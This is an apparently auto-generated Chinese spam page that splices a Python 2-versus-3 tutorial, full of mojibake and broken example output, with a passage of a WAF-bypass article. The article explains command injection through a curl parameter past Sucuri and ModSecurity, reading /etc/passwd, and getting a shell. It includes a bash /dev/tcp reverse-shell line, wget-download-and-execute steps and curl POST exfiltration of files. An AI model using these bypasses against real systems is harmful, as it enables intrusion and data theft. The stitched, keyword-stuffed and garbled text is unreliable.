【收款源码】【掏js源码】【简单搜源码】simplehttpserver源码

2024-11-18 21:53:32 来源:eclipse外卖系统源码 分类:百科

1.详解python2 和 python3的区别
2.初学Python,源码有哪些Pythonic的源码源码推荐阅读
3.SRS(simple-rtmp-server)流媒体服务器源码分析--RTMP消息play
4.HTB系列靶机Frolic的渗透测试详解
5.WAF绕过技术系列文章(二)

simplehttpserver源码

详解python2 和 python3的区别

       Python2.x与3.x版本区别

       Python的3.0版本,常被称为Python ,或简称Py3k。相对于Python的早期版本,这是一个较大的升级。

       ä¸ºäº†ä¸å¸¦å…¥è¿‡å¤šçš„累赘,Python 3.0在设计的时候没有考虑向下相容。

       è®¸å¤šé’ˆå¯¹æ—©æœŸPython版本设计的程式都无法在Python 3.0上正常执行。

       ä¸ºäº†ç…§é¡¾çŽ°æœ‰ç¨‹å¼ï¼ŒPython 2.6作为一个过渡版本,基本使用了Python 2.x的语法和库,同时考虑了向Python 3.0的迁移,允许使用部分Python 3.0的语法与函数。

       æ–°çš„Python程式建议使用Python 3.0版本的语法。

       é™¤éžæ‰§è¡ŒçŽ¯å¢ƒæ— æ³•å®‰è£…Python 3.0或者程式本身使用了不支援Python 3.0的第三方库。目前不支援Python 3.0的第三方库有Twisted, py2exe, PIL等。

       å¤§å¤šæ•°ç¬¬ä¸‰æ–¹åº“都正在努力地相容Python 3.0版本。即使无法立即使用Python 3.0,也建议编写相容Python 3.0版本的程式,然后使用Python 2.6, Python 2.7来执行。

       Python 3.0的变化主要在以下几个方面:

1. print 函数

       print语句没有了,取而代之的是print()函数。 Python 2.6与Python 2.7部分地支持这种形式的print语法。在Python 2.6与Python 2.7里面,以下三种形式是等价的:

print "fish"

       print ("fish") #注意print后面有个空格

       print("fish") #print()不能带有任何其它参数

       ç„¶è€Œï¼ŒPython 2.6实际已经支持新的print()语法:

from __future__ import print_function

       print("fish", "panda", sep=', ')

2. Unicode

       Python 2 有 ASCII str() 类型,unicode() 是单独的,不是 byte 类型。

       çŽ°åœ¨ï¼Œ 在 Python 3,我们最终有了 Unicode (utf-8) 字符串,以及一个字节类:byte 和 bytearrays。

       ç”±äºŽ Python3.X 源码文件默认使用utf-8编码,这就使得以下代码是合法的:

>>> ä¸­å›½ = 'china' 

       >>>print(中国) 

       china

       Python 2.x

>>> str = "我爱北京天安门"

       >>> str

       '\xe6\x\x\xe7\x\xb1\xe5\x8c\x\xe4\xba\xac\xe5\xa4\xa9\xe5\xae\x\xe9\x\xa8'

       >>> str = u"我爱北京天安门"

       >>> str

       u'\u\u\u\u4eac\u\u5b\ue8'

       Python 3.x

>>> str = "我爱北京天安门"

       >>> str

       '我爱北京天安门'

3. 除法运算

       Python中的除法较其它语言显得非常高端,有套很复杂的规则。Python中的除法有两个运算符,/和//

3.1首先来说/除法:

       åœ¨python 2.x中/除法就跟我们熟悉的大多数语言,比如Java啊C啊差不多,整数相除的结果是一个整数,把小数部分完全忽略掉,浮点数除法会保留小数点的部分得到一个浮点数的结果。

       åœ¨python 3.x中/除法不再这么做了,对于整数之间的相除,结果也会是浮点数。

       Python 2.x:

>>> 1 / 2

       0

       >>> 1.0 / 2.0

       0.5

       Python 3.x :

>>> 1/2

       0.5

       è€Œå¯¹äºŽ//除法,这种除法叫做floor除法,会对除法的结果自动进行一个floor操作,在python 2.x和python 3.x中是一致的。

       python 2.x :

>>> -1 // 2

       -1

       python 3.x :

>>> -1 // 2

       -1

       æ³¨æ„çš„是并不是舍弃小数部分,而是执行floor操作,如果要截取小数部分,那么需要使用math模块的trunc函数

       python 3.x :

>>> import math

       >>> math.trunc(1 / 2)

       0

       >>> math.trunc(-1 / 2)

       0

4. 异常

       åœ¨ Python 3 中处理异常也轻微的改变了,在 Python 3 中我们现在使用 as 作为关键词。

       æ•èŽ·å¼‚常的语法由 except exc, var æ”¹ä¸º except exc as var。

       ä½¿ç”¨è¯­æ³•except (exc1, exc2) as var可以同时捕获多种类别的异常。 Python 2.6已经支持这两种语法。

       1. 在2.x时代,所有类型的对象都是可以被直接抛出的,在3.x时代,只有继承自BaseException的对象才可以被抛出。

       2. 2.x raise语句使用逗号将抛出对象类型和参数分开,3.x取消了这种奇葩的写法,直接调用构造函数抛出对象即可。

       åœ¨2.x时代,异常在代码中除了表示程序错误,还经常做一些普通控制结构应该做的事情,在3.x中可以看出,设计者让异常变的更加专一,只有在错误发生的情况才能去用异常捕获语句来处理。

5. xrange

       åœ¨ Python 2 中 xrange() 创建迭代对象的用法是非常流行的。比如: for 循环或者是列表/集合/字典推导式。

       è¿™ä¸ªè¡¨çŽ°ååˆ†åƒç”Ÿæˆå™¨ï¼ˆæ¯”如。"惰性求值")。但是这个 xrange-iterable 是无穷的,意味着你可以无限遍历。

       ç”±äºŽå®ƒçš„惰性求值,如果你不得仅仅不遍历它一次,xrange() 函数 比 range() 更快(比如 for 循环)。尽管如此,对比迭代一次,不建议你重复迭代多次,因为生成器每次都从头开始。

       åœ¨ Python 3 中,range() 是像 xrange() 那样实现以至于一个专门的 xrange() 函数都不再存在(在 Python 3 中 xrange() 会抛出命名异常)。

       Python 3 

import timeit

       n = 

       def test_range(n):

           return for i in range(n):

               pass

       def test_xrange(n):

           for i in xrange(n):

               pass

       Python 2

print 'Python', python_version()

       print '\ntiming range()'

       %timeit test_range(n)

       print '\n\ntiming xrange()' 

       %timeit test_xrange(n)

       Python 2.7.6

       timing range()

        loops, best of 3:  µs per loop

       timing xrange() loops, best of 3:  µs per loop

       Python 2.7.6

       timing range()

        loops, best of 3:  µs per loop

       timing xrange()

        loops, best of 3:  µs per loop

       Python 3

print('Python', python_version())

       print('\ntiming range()')

       %timeit test_range(n)

       Python 3.4.1

       timing range()

        loops, best of 3:  µs per loopprint(xrange())

       ---------------------------------------------------------------------------

       NameError                                 Traceback (most recent call last)

       <ipython-input-5-5d8f9bea> in <module>()

       ----> 1 print(xrange())

       NameError: name 'xrange' is not defined

6. 八进制字面量表示

       å…«è¿›åˆ¶æ•°å¿…须写成0o,原来的形式不能用了;二进制必须写成0b。

       æ–°å¢žäº†ä¸€ä¸ªbin()函数用于将一个整数转换成二进制字串。 Python 2.6已经支持这两种语法。

       åœ¨Python 3.x中,表示八进制字面量的方式只有一种,就是0o。

       python 2.x

>>> 0o

       

       >>> 

       python 3.x

>>> 

         File "<stdin>", line 1

           

               ^

       SyntaxError: invalid token

       >>> 0o

       7. ä¸ç­‰è¿ç®—符

       Python 2.x中不等于有两种写法 != 和 <>

       Python 3.x中去掉了<>, 只有!=一种写法,还好,我从来没有使用<>的习惯

8. 去掉了repr表达式``

       Python 2.x 中反引号``相当于repr函数的作用

       Python 3.x 中去掉了``这种写法,只允许使用repr函数,这样做的目的是为了使代码看上去更清晰么?不过我感觉用repr的机会很少,一般只在debug的时候才用,多数时候还是用str函数来用字符串描述对象。

def sendMail(from_: str, to: str, title: str, body: str) -> bool:

           pass

       å¤šä¸ªæ¨¡å—被改名(根据PEP8)

       StringIO模块现在被合并到新的io模组内。 new, md5, gopherlib等模块被删除。 Python 2.6已经支援新的io模组。

       ,而使用最原始地请求:

       如预期的源码一样,返回了 google.com的源码页面,基于地理位置,源码让我跳转到 www.google.de:

       现在,源码收款源码为了做坏事,源码我使用分号破坏curl语法,源码尝试执行其他系统命令。源码但是源码当我试图读取/etc/passwd文件时,Sucuri就会拦截请求,源码请求如下:

       被Sucuri拦截的源码原因如下:“检测到一个RFI/LFI攻击”。我认为(只是源码一个假设)Sucuri的这个拦截使用了类似于我们上面所提及的“字符串匹配”技术,它可能会拦截所有常见的源码路径和文件名,如/etc/passwd。源码当我把这个WAF的拦截力度调到最低时,我就可以利用两个单引号来绕过!

       我知道你现在在想什么:“就算你可以读取passwd文件又怎样……你可以绕过Sucuri WAF得到一个shell吗?”这个问题的答案当然是,YES!唯一的问题就是我们不能使用netcat,因为它还没有安装。掏js源码

       返回一个shell的最简单方法是使用bash -i命令:bash -i >& /dev/tcp/1.1.1.1/ 0>&1,但不幸的是,它太复杂了,很难彻底绕过WAF,这同时也意味着很难使用一些php、perl或python代码来获得shell。Sucuri WAF频繁拦截了我的请求,原因是:检测到模糊攻击。

       接下来,我尝试使用curl或wget命令将python的简单搜源码反弹shell脚本上传上去,以获得shell。shell.py代码如下:

       然后,我们在本机使用python -c SimpleHTTPServer或php -s等搭建Web服务,方便目标服务器从中下载python文件,下载shell.py文件用以下语法:

       好的,Sucuri Waf没有拦截这个请求,但是ModSecurity通常会拦截这类请求,为了要绕过这类WAF规则,可以使用wget+ip转换+字符串连接来达成:

       第一个命令使用wget下载shell文件到/tmp/。第二个命令使用chmod修改其可执行权限,溯源码开票第三个命令是执行它。如您所见,wget命令发出的请求中没有指明文件名,因此被下载的文件被命名为index.html。你可以使用netcat 命令nc手动写入HTTP的响应头和内容主体来决定文件内容,如下所示:

       接下来,我们要绕过更难的WAF

       你可能认为我们可以用上面的技术绕过OWASP核心规则集的低级规。但是,这是不可能的。因为有两个小东西叫做normalizePath和cmdLine。补码找源码在ModSecurity中,它们被称为“转换函数”,用于将用户输入的原始数据先转换,然后再匹配。如果WAF认为数据无害,才会发送原始数据到Web服务器。

       normalizePath:它会删除字符串中的多个斜杠、目录的自引用和目录的上级引用(除了最开始的输入)。

       cmdLine:由Marc Stern开发,会将所有的输入规范化,例如/e't'c/pa'ss'wd会被转换规范为/etc/passwd。总之它可以做很多事:

       因为cmdLine,WAF规则就可以拦截所有利用字符串连接来进行远程命令执行的尝试,拦截信息如下:

       现在我不能读取/etc/passwd,但不要绝望!OWASP核心规则集会拦截常用的文件路径和命令,但它不能对目标应用的源代码执行拦截。我虽然不能使用分号(这意味着我不能跳出curl语法),但我可以使用curl来提取文件并将其发送到远程服务器。以上方法可绕过0到3级别的防御。

       主要方法是利用POST的HTTP请求将文件发送到远程服务器,命令如下:

       在此基础上,我们把@编码为%:

       如果防御等级为4,以上这些都不起作用,因为payload中的连字符、正斜杠等字符会引起拦截。但好消息是,防御级别4在生产环境中很少见。

       上面所述的绕过技术同样也可以应用于反斜杠字符。反斜杠不是用来串联字符串,而是用来转义:

       以上就是全部内容。谢谢!

       来源: WAF绕过技术系列文章(二)|NOSEC安全讯息平台 - NOSEC.ORG

       白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

       公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

       为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文地址:http://8o.net.cn/html/4a164898347.html 欢迎转发